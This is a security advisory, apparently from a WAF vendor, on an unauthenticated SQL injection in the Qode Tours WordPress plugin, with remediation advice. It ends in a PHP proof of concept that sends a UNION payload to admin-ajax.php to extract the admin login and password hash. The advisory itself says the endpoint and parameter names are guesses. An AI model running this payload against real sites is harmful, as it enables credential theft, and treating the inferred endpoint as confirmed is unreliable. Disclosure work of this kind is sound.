Published : August 9, 2026

CVE-2026-65546: Qode Tours <= 3.1.3.1 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Plugin qode-tours
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.1.3.1
Patched Version
Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65546 (metadata-based): This vulnerability is an unauthenticated SQL Injection in the Qode Tours WordPress plugin, affecting versions up to and including 3.1.3.1. The plugin fails to properly escape a user-supplied parameter and lacks sufficient query preparation, allowing attackers to inject arbitrary SQL into existing database queries. With a CVSS score of 7.5 and a CWE-89 classification, the attack can be performed remotely without authentication, compromising the confidentiality of the database.

Root Cause: Based on the CWE-89 classification and the vulnerability description, the root cause is an improperly sanitized parameter used directly in a SQL query built by the plugin, likely through a WordPress $wpdb method (e.g., $wpdb->query(), $wpdb->get_var(), or $wpdb->get_results()). The description confirms insufficient escaping of a user-supplied parameter and lack of prepared statements. Atomic Edge analysis infers that the vulnerable parameter originates from a plugin-specific endpoint, such as an AJAX action or a shortcode, where user input is concatenated into a SQL statement without using $wpdb->prepare(). This conclusion is inferred from the CWE and the description, as no source code or patch diff is available for direct verification.

Exploitation: An unauthenticated attacker can send crafted HTTP requests to the plugin’s exposed endpoints, likely an AJAX action under /wp-admin/admin-ajax.php or a REST API route, with the vulnerable parameter containing SQL injection payloads. Since the plugin uses the slug ‘qode-tours’, plausible AJAX action names include ‘qode_tours_search’ or similar, but the exact endpoint is not confirmed from the metadata. The attacker would use classic SQL injection techniques, such as UNION-based payloads or time-based blind payloads, to extract data like usernames and password hashes from the WordPress database. The attack does not require any authentication or nonce, making it trivially exploitable.

Remediation: The fix requires implementing proper parameterized queries using $wpdb->prepare() or moving to prepared statements with placeholders. The plugin must escape user-supplied parameters before they reach any SQL statement, and validate the input against expected formats (e.g., integers or allows lists). Additionally, the plugin should enforce nonce verification on all form submissions and AJAX requests to prevent CSRF-based injection attempts. Until a patched version is available, site administrators should disable the plugin or restrict access to any endpoints that handle unauthenticated database queries.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials, password hashes, session tokens, and other plugin-specific data. The CVSS vector indicates high confidentiality impact with no integrity or availability impact, meaning the primary risk is data exfiltration. In severe cases, extracted hashes could be cracked offline, leading to account takeover. There is no direct privilege escalation, but the exposed data could facilitate further attacks on the site.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65546 - Qode Tours <= 3.1.3.1 - Unauthenticated SQL Injection

// This PoC demonstrates SQL injection in the Qode Tours plugin.
// The exact endpoint is not confirmed from the metadata, so we assume a common AJAX action 'qode_tours_search'.
// Adjust $target_url and the action if needed.

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Set to the WordPress site URL
$action = 'qode_tours_search'; // Assumed AJAX action based on plugin slug

// SQL injection payload to extract the first admin user's login and hash via UNION select
$sql_payload = "-1' UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1 -- ";

// Prepare POST data
$post_data = http_build_query([
    'action' => $action,
    'tours_search_param' => $sql_payload // Assumed parameter name; adjust if different
]);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'Content-Length: ' . strlen($post_data)
]);

// Execute and fetch response
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    die('Error: ' . curl_error($ch));
}

curl_close($ch);

// Output response
// In a real scenario, the extracted data would leak in the response.
echo "Response:n" . $response;
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.